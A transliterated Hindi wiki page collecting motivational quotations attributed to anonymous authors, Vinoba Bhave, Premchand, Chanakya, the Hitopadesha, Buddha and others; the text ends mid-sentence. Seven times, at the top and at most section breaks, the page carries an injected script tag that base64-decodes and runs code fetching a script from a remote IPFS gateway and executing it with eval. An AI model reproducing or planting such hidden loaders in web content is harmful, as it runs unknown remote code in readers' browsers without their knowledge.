अनमोल वचन 5

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1. REDIRECTsaancha:inhean bhi dekhean

anamol vachan

mahapurushoan ke anamol vachan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ajnat apake pas jitana samay abhi hai usase adhik samay kabhi nahian hoga. - ajnat apako log dekhate pahale, aur sunate bad mean haian. - ajnat agar ap ko saphar asan lagane lage to ho sakata hai ap utar mean ja rahe hoan. - ajnat apaki manovritti hi apaki mahanata ko nirdharit karati hai. - ajnat apani kharab adatoan par jit hasil karane ke saman jivan mean koee aur anand nahian hota hai. - ajnat ap apane bhagavan ke samarthy ko apani chiantaoan ki soochi ke akar ko dekhakar bata sakate haian. jitani lanbi soochi hogi, utana hi apake bhagavan ka samarthy kam hoga. - ajnat apani soch ko kaise behatar banaya jae, yah sikhane se utkrisht kuchh nahian hai. - ajnat apaki pratibha bhagavan ka apako diya hua upahar hai, ap jo kuchh isake sath karate haian, vah ap bhagavan ko upahar svaroop lautate haian. - ajnat apane sakaratmak vicharoan ko eemanadari aur bina thake hue karyoan mean lagae aur apako saphalata ke lie prayas nahian karana p dega, apitu aparimit saphalata apake kadamoan mean hoangi. - ajnat apani vani ko jitana ho sake nirmal aur pavitr rakhean, kyoanki sanbhav hai ki kal apako unhean vapas lena p d sakata hai. - ajnat apake jivan ka niyantran kendr apaka apana ravaiyya hai. - ajnat apaki k di mehanat bekar nahian jati hai. - ajnat apako kuvyasanoan ki kimat do bar chukani p dati hai - ek bar jab ap unake prabhav mean ate haian, tatha doosari jab vah apako prabhavit karati haian. - ajnat ap khet mean buvaee keval sochane bhar se nahian kar sakate haian. (keval sochane se kuchh upalabdhi prapt nahian hoti hai). - ajnat anubhav ki pathashala mean jo path sikhe jate haian, ve pustakoan aur vishvavidyalayoan mean nahian milate. - ajnat anubhav-prapti ke lie kafi mooly chukana p d sakata hai par usase jo shiksha milati hai vah aur kahian nahian milati. - ajnat adhikatar log ne sal ki pratiksha keval isalie karate haian ki purani adatean ne sire se phir shuroo ki ja sakean. - ajnat adhik anubhav, adhik sahanashilata aur adhik adhyayan yahi vidvatta ke tin mahastanbh haian. - ajnat atmahatya, ek asthayi samasya ka sthayi samadhan hai. — ajnat aantarik saunh‍dary ka a‍hvan karana kathin kam hai, saunh‍dary ki apani bhasha hoti hai, aisi bhasha jisamean n shabh‍d hote haian n avaj. - ajnat jivan nirvah ke lie kamane mean itane vyast n ho jaean ki jivan jina bhool jaean. - ajnat jab tak apani har ko dabboopane se svikar nahian kar lete, ap harane ke lie nahian bane haian. - ajnat jivan mean buri adat par vijay prapt karane ki tulana mean koee isase b da anand nahian ho sakata hai. - ajnat jis prakar tho di-si vayu se ag bh dak uthati hai, usi prakar tho di-si mehanat se kismat chamak uthati hai. - ajnat jis kam ki tum kalpana karate ho usamean jut jao. sahas mean pratibha, shakti aur jadoo hai. sahas se kam shuroo karo poora avashy hoga. - ajnat jo manushy ek pathashala kholata hai vah ek jelakhana band karata hai. - ajnat jisane akele rah kar akelepan ko jita usane sabakuchh jita. - ajnat jis kam ki tum kalh‍pana karate ho, usamean jut jao, sahas mean pratibha, shakti aur jadoo hai, sahas se kam shuroo karo poora avashh‍y hoga. - ajnat jab bhagavan apaki samash‍yaean hal karate haian, tab apako un par vishh‍vas rahata hai aur jab, bhagavan apaki samash‍yaean hal nahian karate tab, unh‍hean ap par vishh‍vas rahata hai. - ajnat jo bhari kolahal mean sangit ko sun sakata hai, vah mahanh upalabdhi ko praph‍t karata hai. - ajnat jati, dharm alag-alag ho sakate haian, aur ibadat karane ke tarike bhi bhinh‍n ho sakate haian, lekin eeshh‍var ek hai. - ajnat jokhim uthaean: yadi ap jit jate haian, to ap prasann hoange; yadi ap har jate haian, to ap samajhadar ban jaeange. - ajnat jab duniya yah kahati hai ki har man lo, to asha dhire se kan mean kahati hai ki ek bar phir se prayas karo. - ajnat hatho da kabhi kabhi apana nishana chook bhi jata hai; lekin phooloan ka guladasta kabhi nahian. - ajnat hansamukh vyakti vah phuhar hai jisake chhiante sabake man ko thanda karate haian. - ajnat hansate hue jo samay ap vyatit karate haian, vah eeshvar ke sath vyatit kiya samay hai. — ajnat he bhagavan! mujhe dhairy do, aur ye kam abhi karo. — ajnat hamesha samagr prayas karean, tab bhi jab paristhitiyaan apake anukool n hoan. - ajnat eeshvar bojh deta hai, aur kandhe bhi. - ajnat is rashtr ko aise netaoan ki avashyakata hai jo janate haian ki is desh ki kya avashyakataean haian. - ajnat eershh‍ya ya ghrina ke ke vichar man mean pravesh hote hi khushi gayab ho jati hai, prem v shubh-bhavana yukh‍t vicharoan se udasi door ho jati hai. - ajnat karuna, ek bhasha jise badhir sun sakate haian aur netrahin dekh sakate haian. - ajnat kuchh log saphalata ke sapane dekhate haian, jabaki any vyakti jagate haian aur isake lie k di mehanat karate haian. - ajnat kitabean aisi shikshak haian jo bina kasht die, bina alochana kie aur bina pariksha lie hamean shiksha deti haian. - ajnat krodh aisi aandhi hai jo vivek ko nasht kar deti hai. - ajnat kitabean samay ke mahasagar mean jaladip ki tarah rasta dikhati haian. - ajnat kavita ka bana pahan kar saty aur bhi chamak uthata hai. - ajnat kisi kritajnata ko tath‍kal chukane, ka prayath‍n karana ek prakar ki, kritajnata hi hai. - ajnat krodh sadaiv moorkhata se praranbh hota hai aur pashchatap par samapt. — ajnat kam karane mean zyada shram nahian lagata, lekin yah nirnay karane mean zyada shram karana p data hai ki kya karana chahie. - ajnat kuchh bhi aisa n karean jise ap ek din bhoolana chahean. bhagavan apako maph kar sakata hai, lekin ap bhool jaean, vah aisa nahian kar sakate haian. - ajnat muskurahat, apaki khoobasoorati mean sudhar karane ka ek sasta tarika hai. - ajnat milane par mitr ka adar karo, pith pichhe prashansa karo aur avashyakata ke samay usaki madad karo. - ajnat muskan pane vala malamal ho jata hai par dene vala daridr nahian hota. - ajnat muskan thake hue ke lie vishram hai, udas ke lie din ka prakash hai tatha kasht ke lie prakriti ka sarvottam upahar hai. - ajnat manushy man ki shaktiyoan ke badashah haian. sansar ki samast shaktiyaan unake samane natamastak haian. - ajnat mahath‍v is bat ka nahian hai ap apane bachh‍choan ke liye kh‍ya chho dakar jate haian mahath‍v to is bat ka hai ki ap inh‍hean kaisa bana kar jate haian. - ajnat milane par mitr ka adar karo, pith pichhe prashansa karo aur avashh‍yakata ke samay usaki madad karo. - ajnat machhali pak dane to har roj jaya ja sakata hai, lekin har roj machhali pak d mean a jae aisa nahian hota hai. - ajnat svayan par mook vijay se hi vastavik mahanata ka uday hota hai. - ajnat sv prerit hokar kary karana kisi buddhiman vyakti ka sabase mazaboot gun hota hai. - ajnat saf suthare sade paridhan mean aisa yauvan hota hai jisamean adhik umr chhip jati hai. - ajnat sabase adhik jnani vahi hai jo apani kamiyoan ko samajhakar unaka sudhar kar sakata ho. - ajnat saubhagy vir se darata hai aur kayar ko darata hai. - ajnat samajhauta ek achchha chhata bhale ban sakata hai lekin achchhi chhat nahian.‍‍ - ajnat sau baras jine ke lie un sabhi sukhoan ko chho dana hota hai jin sukhoan ke lie ham sau baras jina chahate haian. - ajnat sapana vo nah‍ian jo niand mean ae, sapane ve haian jise poora kie bina niand n ae. - ajnat saanp ke daant mean vish rahata hai, makh‍khi ke sar mean, bichh‍chhooan ki pooanchh mean, kinh‍tu durjanoan ke poore sharir mean vish rahata hai. - ajnat samay aur samudr ki laharean kisi ka iantazar nahian karatian. – ajnat samay hamesha k di mehanat karane valoan ka mitr raha hai. - ajnat samay tab tak dushman nahian banata jab tak ap ise vyarth ganvane ka prayas nahian karate haian. - ajnat yadi ap amir hone ki anubhooti chahate haian to un vastuoan par vichar karean jo jinhean paise se nahian kharida ja sakata hai. - ajnat yadi ap manasik shaanti ke badale mean samrajy bhi prapt karate haian to bhi ap parajit hi haian. - ajnat yadi apane apane jivan ki mahanatam saphalata ko prapt karane ki prakriya mean kisi ke dil ko thes pahuanchaee haian to apako svayan ko sarvadhik asaphal vyakti manana chahie. - ajnat yadi avashyakata avishkar ki janani (mata) hai, to asantosh vikas ka janak (pita) hai. — ajnat yadi buddhiman ho, to hanso. — ajnat yadi apake jivan mean asaphalataean nahian haian, to ap paryapt jokhim nahian utha rahe haian. - ajnat purush se nari adhik buddhimati hoti hai, kyoanki vah janati kam hai par samajhati adhik hai. - ajnat pratidhvani se kisi maulikata ki asha mat karo. - ajnat prakriti, samay aur dhairy ye tin har dard ki dava haian. - ajnat prasiddh hone ka yah ek dand hai ki manushy ko nirantar unnatishil bane rahana p data hai. - ajnat vastavik mahanata ki utpatti svayan par khamosh vijay se hoti hai. - ajnat vishvas hriday ki vah kalam hai jo svargiy vastuoan ko chitrit karati hai. - ajnat ve hi vijayi ho sakate haian jinamean vishvas hai ki ve vijayi hoange. - ajnat vivek jivan ka namak hai aur kalpana usaki mithas. ek jivan ko surakshit rakhata hai aur doosara use madhur banata hai. - ajnat viphalata nahian, balki doyam darje ka lakshy ek aparadh hai. - ajnat sharir ke mamale mean jo sh‍than sabun ka hai, vahi ath‍ma ke sanh‍darbh mean aansoo ka hai. - ajnat shesh rrin, shesh agni, tatha shesh rog pun: pun: badhate haian, at: inh‍hean shesh nahian chho dana chahiye. - ajnat shubharambh, adha khatam. - ajnat sharirik virata ek pashavik pravritti hai. manushy ki asali virata to manasik aur naitik hoti hai. - ajnat shabd pattiyoan ki tarah haian jab ve zyada hote haian to arth ke phal dikhaee nahian dete. - ajnat dar mean jina adha jivit rahane jaisa hai. - ajnat doobate ko tarana hi achchhe iansan ka kartavy hota hai. - ajnat dar se bhagane ki bajay apane sapanoan ko sakar karane ke lie hamesha pratibaddh rahean. - ajnat dhamaniyoan ki kathorata ki tulana mean diloan ki kathorata se log jaldi boodhe hote haian. - ajnat dhairyavan vh‍yakti hi samay par vijay pata hai aur asanyami vh‍yakti apane sh‍vabhav ke karan sab kuchh kho deta hai. - ajnat daridr vyakti kuchh vastuean chahata hai, vilasi bahut-si aur lalachi sabhi vastuean chahata hai. - ajnat dimag jab bade-bade vichar sochane ke anuroop bada ho jata hai, to punah apane mool akar mean nahian lautata. — ajnat ekata ka kila sabase surakshit hota hai. n vah tootata hai aur n usamean rahane vala kabhi dukhi hota hai. - ajnat ekata ka kila sabase sudridh hota hai. usake bhitar rah kar koee bhi prani asuraksha anubhav nahian karata. - ajnat aisi anek ghatanaean haian jo ham nahian chahate ki hoan, lekin ve ghatit hoti haian, aisi chizean haian jo ham nahian janana chahate, lekin vah sikhani p dati haian, tatha aise log hote haian jinake bina ham zinda nahian rahana chahate, lekin vah ham se bichhu d jate haian. yah prakriti ka svabhav hai. - ajnat khali baithana duniya mean sabase thakane vala kam hai kyoanki sarvasv tyag dena aur aram karana asanbhav hai. - ajnat khushi keval unhian logoan ko prapt hoti hai jo doosaroan ko khush karane mean prayasarat rahate haian. - ajnat bhagy ke bharose baithe rahane par bhagy soya rahata hai par himmat baandh kar kh de hone par bhagy bhi uth kh da hota hai. - ajnat bhagavan mean vishvas n rakhane vale vyakti ke lie, mrityu ek aant haian; lekin vishvas karane vale ke lie yah shuruat hai. - ajnat niranhakarita se seva ki kimat badhati hai aur ahankar se ghatati hai. - ajnat nidarata se dar ko bhi dar lagata hai. - ajnat bina granth ke eeshvar maun hai, nyay nidrit hai, vijnan stabdh hai aur sabhi vastuean poorn aandhakar mean haian. - ajnat chianti se parishram karana sikhean. — ajnat phal ke ane se vriksh jhuk jate haian, varsha ke samay badal jhuk jate haian, samh‍patti rahakar bhi sajh‍jan jhuk jate haian, paropakari ka yahi sh‍vabhav hota hai. - ajnat u dane ki apeksha jab ham jhukate haian tab vivek ke adhik nikat hote haian. - ajnat rukavatean ve bhayavah vastuean haian jo ap us samay dekhate haian jab ap apane lakshy se dhyan hata lete haian. - ajnat link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mukta rang mean vah jadoo hai jo rangane vale, bhigane vale aur dekhane vale tinoan ke man ko vibhor kar deta hai. - mukta lagan aur yogyata ek sath milean to nishchay hi ek advitiy rachana ka janm hota hai. - mukta jis tarah rang sadagi ko nikhar dete haian usi tarah sadagi bhi rangoan ko nikhar deti hai. sahayog saphalata ka sarvashreshth upay hai. - mukta vijay garv aur pratishtha ke sath ati hai par yadi usaki raksha paurush ke sath n ki jay to apaman ka zahar pila kar chali jati hai. - mukta rangoan ki umang khushi tabhi deti hai jab usamean ujjval vicharoan ki abaraq chamachama rahi ho. - mukta satat parishram, sukarm aur nirantar savadhani se hi svatantrata ka mooly chukaya ja sakata hai. - mukta aishvary ke mad se mast vyakti aishvary ke bhrasht hone tak prakash mean nahian ata. - mukta pratibha mahanh karyoan ka aranbh karati hai kiantu poora unako parishram hi karata hai. - mukta rang isalie haian ki jivan ki ekarasata door ho sake aur isalie bhi ki ham sadagi ka mooly pahachan sakean. - mukta jis tarah pahali barish mausam ka mizaj badal deti hai usi prakar udarata narazagi ka mausam badal deti hai - mukta apane desh ki bhasha aur sanskriti ke samuchit jnan ke bina deshaprem ki batean karane vale keval svarthi hote haian. - mukta mithya laanchhan ka sabase achchha uttar hai shaant rahakar dhairyapoorvak apane kam mean nirantar lage rahana. - mukta jalane ki lak di hi holika hai jab vah jalati hai tab prahlad ki prapti hoti hai. prahlad jo ahlad ka hi vishesh rup hai. - mukta kuchh pralobhan parishrami vyakti ko ho sakate haian, kiantu sare pralobhan to keval alasi vyakti par hi akraman karate haian. - mukta mahapurush ve hi hote haian jo vibhinn paristhitiyoan ke rangoan mean range jane ke bad bhi apane vyaktitv ki pahachan ko khone nahian dete. - mukta rangoan ka svabhav hai bikharana aur manushy ka svabhav hai unhean sametakar apane jivan ko rangin banana. - mukta atank ka janm asantosh se hota hai asamanata se ise hava milati hai aur yah apani ag mean hazaroan ko lekar jal marata hai - mukta vijnan ke chamatkar hamara jivan sahaj banate haian par prakriti ke chamatkar dhoop, pani aur vanaspati ke bina to jivan ka astitv hi sanbhav nahian. - mukta bina granth ke eeshvar maun hai, nyay nidrit hai, vijnan stabdh hai aur sabhi vastuean poorn aandhakar mean haian. - mukh‍ta link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vinoba bhave manushy jitana jnan mean ghul gaya ho utana hi karm ke rang mean rang jata hai. - vinoba jis rashtr mean charitrashilata nahian hai usamean koee yojana kam nahian kar sakati. - vinoba aise desh ko chho d dena chahie jahaan n adar hai, n jivika, n mitr, n parivar aur n hi jnan ki asha. - vinoba svatantr vahi ho sakata hai jo apana kam apane ap kar leta hai. - vinoba vicharakoan ko jo chiz aj spasht dikhati hai duniya us par kal amal karati hai. - vinoba keval aangrezi sikhane mean jitana shram karana p data hai utane shram mean bharat ki sabhi bhashaean sikhi ja sakati haian. - vinoba kaliyug mean rahana hai ya satayug mean yah tum svayan chuno, tumhara yug tumhare pas hai. - vinoba pratibha ka arth hai buddhi mean nee kopalean phootate rahana. nee kalpana, naya utsah, nee khoj aur nee sphoorti pratibha ke lakshan haian. - vinoba mahanh vichar hi kary roop mean parinat hokar mahanh kary banate haian. - vinoba jabatak kasht sahane ki taiyari nahian hoti tab tak labh dikhaee nahian deta. labh ki imarat kasht ki dhoop mean hi banati hai. - vinoba dvesh buddhi ko ham dvesh se nahian mita sakate, prem ki shakti hi use mita sakati hai. - vinoba jisane jnan ko acharan mean utar liya, usane eeshvar ko moortiman kar liya. – vinoba hindustan ka adami bail to pana chahata hai lekin gay ki seva karana nahian chahata. vah use dharmik drishti se poojan ka svaang rachata hai lekin doodh ke liye to bhaians ki hi kadr karata hai. hindustan ke log chahate haian ki unaki mata to rahe bhaians aur pita ho bail. yojana to thik hai lekin vah bhagavan ko manjoor nahian hai. - vinoba maun aur ekant, atma ke sarvottam mitr haian. — vinoba bhave hindustan ki ekata ke liye hindi bhasha jitana kam degi, usase bahut adhik kam devanagari lipi de sakati hai. — achary vinaba bhave garib vah nahian jisake pas kam hai, balki dhanavan hote hue bhi jisaki ichh‍chha kam nahian huee hai, vah sabase adhik garib hai. - vinoba bhave sirph dhan kam rahane se koee garib nahian hota, yadi koee vh‍yakti dhanavan hai aur isaki ichh‍chhaean dheroan haian to vahi sabase garib hai. - vinoba bhave seva ke liye paise ki zaroorat nahian hoti zaroorat hai apana sankuchit jivan chho dane ki, gariboan se ekaroop hone ki. - vinoba bhave jis th‍yag se abhiman uth‍panh‍n hota hai, vah th‍yag nahian, th‍yag se shaanti milani chahie, aantat: abhiman ka th‍yag hi sachh‍cha th‍yag hai. - vinoba bhave link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> premachand premachand kul ki pratishtha bhi vinamrata aur sadavyavahar se hoti hai, hek di aur ruab dikhane se nahian. - premachand man ek bhiru shatru hai jo sadaiv pith ke pichhe se var karata hai. - premachand chapaloosi ka zaharila pyala apako tab tak nukasan nahian pahuancha sakata jab tak ki apake kan use amrit samajh kar pi n jaean. - premachand mahanh vyakti mahatvakaanksha ke prem se bahut adhik akarshit hote haian. - premachand jis sahity se hamari suruchi n jage, adhyatmik aur manasik tripti n mile, hamamean gati aur shakti n paida ho, hamara sauandary prem n jagrit ho, jo hamamean sankalp aur kathinaiyoan par vijay prapt karane ki sachchi dridhata n utpann kare, vah hamare lie bekar hai vah sahity kahalane ka adhikari nahian hai. - premachand akash mean u dane vale panchhi ko bhi apane ghar ki yad ati hai. - premachand jis prakar netrahin ke lie darpan bekar hai usi prakar buddhihin ke lie vidya bekar hai. - premachand nyay aur niti lakshmi ke khilaune haian, vah jaise chahati hai nachati hai. - premachand yuvavastha aveshamay hoti hai, vah krodh se ag ho jati hai to karuna se pani bhi. - premachand apani bhool apane hi hathoan se sudhar jae to yah usase kahian achchha hai ki koee doosara use sudhare. - premachand desh ka uddhar vilasiyoan dvara nahian ho sakata. usake lie sachcha tyagi hona avashyak hai. - premachand masik vetan pooranamasi ka chaand hai jo ek din dikhaee deta hai aur ghatate ghatate lupt ho jata hai. - premachand krodh mean manushy apane man ki bat nahian kahata, vah keval doosaroan ka dil dukhana chahata hai. - premachand anurag, yauvan, roop ya dhan se utpann nahian hota. anurag, anurag se utpann hota hai. - premachand dukhiyaroan ko hamadardi ke aansoo bhi kam pyare nahian hote. - premachand vijayi vyakti svabhav se, bahirmukhi hota hai. parajay vyakti ko antarmukhi banati hai. - premachand atit chahe jaisa ho, usaki smritiyaan prayah sukhad hoti haian. - premachand dukhiyaroan ko hamadardi ke aansoo bhi kam pyare nahian hote. - premachand mai ek mazadoor hooan. jis din kuchh likh n looan, us din mujhe roti khane ka koee hak nahian. - premachand nirasha sambhav ko asambhav bana deti hai. — premachand bal ki shikayatean sab sunate haian, nirbal ki phariyad koee nahian sunata. - premachanh‍d daulat se adami ko jo samh‍man milata hai, vah usaka nahian, usaki daulat ka samh‍man hai. - premachanh‍d sansar ke sare nate sh‍neh ke nate haian, jahaan sh‍neh nahian vahaan kuchh nahian hai. - premachanh‍d jis bande ko pet bhar roti nahian milati, usake lie maryada aur ijh‍jat dhoang hai. - premachand khane aur sone ka nam jivan nahian hai, jivan nam hai, age badhate rahane ki lagan ka. - muanshi premachand jivan ki durghatanaoan mean akh‍sar b de mahath‍v ke naitik pahaloo chhipe hue hote haian! - premachand namash‍kar karane vala vh‍yakti vinamrata ko grahan karata hai aur samaj mean sabhi ke prem ka patr ban jata hai. - premachand achh‍chhe kamoan ki siddhi mean b di der lagati hai, par bure kamoan ki siddhi mean yah bat nahian. - premachand link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanaky mehanat karane se daridrata nahian rahati, dharm karane se pap nahian rahata, maun rahane se kalah nahian hota aur jagate rahane se bhay nahian hota. - chanaky aankh ke aandhe ko duniya nahian dikhati, kam ke aandhe ko vivek nahian dikhata, mad ke aandhe ko apane se shreshth nahian dikhata aur svarthi ko kahian bhi dosh nahian dikhata. - chanaky pralay hone par samudr bhi apani maryada ko chho d dete haian lekin sajjan log mahavipatti mean bhi maryada ko nahian chho date. - chanaky vahi putr haian jo pitri-bhakt hai, vahi pita haian jo thik se palan karata haian, vahi mitr hai jis par vishvas kiya ja sake aur vahi desh hai jahaan jivika ho. - chanaky trin se halki rooee hoti hai aur rooee se bhi halka yachak. hava is dar se use nahian u dati ki kahian usase bhi kuchh n maang le. - chanaky dhan ke lobhi ke pas sachchaee nahian rahati aur vyabhichari ke pas pavitrata nahian rahati. - chanaky purusharth se daridrata ka nash hota hai, jap se pap door hota hai, maun se kalah ki utpatti nahian hoti aur sajagata se bhay nahian hota. - chanaky praja ke sukh mean hi raja ka sukh aur prajaoan ke hit mean hi raja ko apana hit samajhana chahie. atmapriyata mean raja ka hit nahian hai, prajaoan ki priyata mean hi raja ka hit hai. - chanaky manushy ka sabase b da shatru usaka ajnan hai. – chanaky kuber bhi yadi ay se adhik vyay kare to nirdhan ho jata hai. – chanaky apadarthe dhanan rakshed daran rakshed dhanairapi! atman satat rakshed darairapi dhanairapi! (vipatti ke samay kam ane vale dhan ki raksha karean. dhan se stri ki raksha karean aur apani raksha dhan aur stri se sada karean.) -chanaky sansar roopi katu-vriksh ke keval do phal hi amrit ke saman haian; pahala, subhashitoan ka rasasvad aur doosara, achchhe logoan ki sangati. — chanaky jisake pas buddhi hai, usake pas bal hai. buddhihin ke pas bal kahaan? - chanaky hamean n atit par kudhana chahie aur n hi hamean bhavishy ke bare mean chiantit hona chahie; viveki vyakti keval vartaman kshan mean hi jite haian. - chanaky vyakti karmoan se mahanh banata hai, janm se nahian. - chanaky ek bar kam shuroo kar lean to asaphalata ka dar nahian rakhean aur n hi kam ko chho dean. nishtha se kam karane vale hi sabase sukhi haian. - chanaky sansar ek k dava vriksh hai, isake do phal hi amrit jaise mithe hote haian - ek madhur vani aur doosari sajjanoan ki sangati. - chanaky uth‍tamata gunoan se ati hai, ooanche asan par baith jane se nahian, mahal ke shikhar par baithane se kaua garoo d nahian ho jata. - chanakh‍y niti gunoan se hi manav ki pahachan hoti hai, ooanche sianhasan par baithane se nahian. mahal ke uchh‍ch shikhar par baithane ke bavajood kauve ka garoo d hona asanbhav hai. - chanakh‍y jo vartaman mean kamaya hua dhan jo data nahian, use bhavishh‍y mean pachhatana p data hai. - chanakh‍y link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ramadhari sianh dinakar kavita gakar rijhane ke lie nahian samajh kar kho jane ke lie hai. - ramadhari sianh dinakar kavita vah surang hai jisamean se guzar kar manushy ek vishv ko chho d kar doosare vishv mean pravesh karata hai. - ramadhari sianh dinakar dushto ka bal hinsa hai, shasako ka bal shakti hai, striyoan ka bal seva hai aur gunavano ka bal kshama hai. - ramadhari sianh dinakar hitopadesh vidvatta achchhe dinoan mean abhooshan, vipatti mean sahayak aur budhape mean sanchit dhan hai. - hitopadesh bina karan kalah kar baithana moorkh ka lakshan haian. isalie buddhimatta isi mean hai ki apani hani sah le lekin vivad n karean. - hitopadesh na to koee kisi ka mitr hai na hi shatru hai. vyavahar se hi mitr ya shatru banate haian. - hitopadesh lobhi ko dhan se, abhimani ko vinamrata se, moorkh ko manorath poora kar ke, aur pandit ko sach bolakar vash mean kiya jata hai. - hitopadesh sabhi logoan ke svabhav ki hi pariksha ki jati hai, gunoan ki nahian. sab gunoan ki apeksha svabhav hi sir par chadha rahata hai (kyoanki vahi sarvoparihai). - hitopadesh jnanan bhar: kriyaan bina. acharan ke bina jnan keval bhar hota hai. — hitopadesh manushy ke lie nirasha ke saman doosara pap nahian hai. isalie manushy ko paparoopini nirasha ko samool hatakar ashavadi banana chahie. - hitopadesh link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gautam buddh/bhagavan buddh/buddh pushp ki sugandh vayu ke viparit kabhi nahian jati lekin manav ke sadagun ki mahak sab or phail jati hai. ~ gautam buddh tin chijoan ko lambi avadhi tak chhupaya nahian ja sakata, soory, chandrama aur saty. ~ gautam buddh hazar yoddhaoan par vijay pana asan hai, lekin jo apane oopar vijay pata hai vahi sachcha vijayi hai. ~ gautam buddh hamara kartavy hai ki ham apane sharir ko svasth rakhean, anyatha ham apane man ko saksham aur shuddh nahian rakh paeange. - buddh ham apane vicharoan se hi achchhi tarah dhalate haian; ham vahi banate haian jo ham sochate haian| jab man pavitr hota hai to khushi parachhaee ki tarah hamesha hamare sath chalati hai. ~ gautam buddh hajaroan diyo ko ek hi die se, bina usake prakash ko kam kiye jalaya ja sakata hai | khushi baantane se khushi kabhi kam nahian hoti. ~ gautam buddh manushy krodh ko prem se, pap ko sadachar se lobh ko dan se aur jhooth ko saty se jit sakata hai. ~ gautam buddh manushy ka dimag hi sab kuchh hai, jo vah sochata hai vahi vah banata hai. ~ gautam buddh atmadipo bhavah. (apana dipak svayan bano.) ~ gautam buddh apriy shabd pashuoan ko bhi nahian suhate haian. ~ gautam buddh arajakata sabhi jatil batoan mean nihit hai| parishram ke sath prayas karate raho. ~ gautam buddh ap ko jo bhi mila hai usaka adhik moolyankan n karean aur n hi doosaroan se eershya karean. ve log jo doosaroan se eershya karate haian, unhean man ko shaanti kabhi prapt nahian hoti. ~ gautam buddh ap chahe kitane bhi pavitr shabdoan ko padh ya bol lean, lekin jab tak unapar amal nahian karate usaka koee phayada nahian hai. ~ gautam buddh atit par dhyan kendrit mat karo, bhavishy ka sapana bhi mat dekho, vartaman kshan par dhyan keandrit karo. ~ gautam buddh apane uddhar ke lie svayan kary karean. doosaroan par nirbhar nahian rahean. ~ gautam buddh ichchha hi sab duahkhoan ka mool hai. ~ gautam buddh ek surahi booand-booand se bharata hai. ~ gautam buddh ek nishthahin aur bure dost se janavaroan ki apeksha jyada bhayabhit hona chahie ; kyooanki ek jangali janavar sirph apake sharir ko ghav de sakata hai, lekin ek bura dost apake dimag mean ghav kar jaega. ~ gautam buddh ek hajar khokhale shabdoan se ek shabd behatar hai jo shaanti lata hai. ~ gautam buddh udar man vale vibhinn dharmoan mean saty dekhate haian. sankirn man vale keval aantar dekhate haian. ~ gautam buddh dvesh ko dvesh se nahian balki prem se hi samapt kiya ja sakata hai; yah niyam atal hai. - buddh duniya mean tin chizean kabhi lamh‍be samay tak chhipi nahian rah sakati, pahali hai soory, doosari chanh‍drama aur tisari hai sath‍y. ~ gautam buddh jo bit gaya hai usaki paravah n karean, jo ane vala hai usake svapn n dekhean, apana dhyan vartaman par lagaean. - buddh jo apane oopar vijay prapt karata hai vahi sabase b da vijayi haian. ~ gautam buddh jis tarah ubalate hue pani mean ham apana, pratibimh‍b nahian dekh sakate usi tarah krodh ki avash‍tha mean yah nahian samajh pate ki hamari bhalaee kis bat mean hai. ~ gautam buddh jibh ek tej chakoo ki tarah bina khoon nikale hi mar deta hai. ~ gautam buddh jisane sh‍vayan ko vash mean kar liya hai, sansar ki koee shakti usaki vijay, ko parajay mean nahian badal sakati. ~ gautam buddh jisane apane ko vash mean kar liya hai, usaki jit ko devata bhi har mean nahian badal sakate - bhagavan buddh chaturaee se jine vale logoan ko maut se bhi darane ki jarurat nahian hai. ~ gautam buddh jhooth sabase b da pap hai, jhooth ki thaili mean anh‍y sabhi pap sama sakate haian, jhooth ko chho d do to tumh‍hare anh‍y pap karm dhire-dhire sh‍vat: hi chhoot jaeange. ~ gautam buddh vahi kam karana thik hai, jise karane ke bad pachhatana n p de aur jisake phal ko prasanh‍n man se bhog 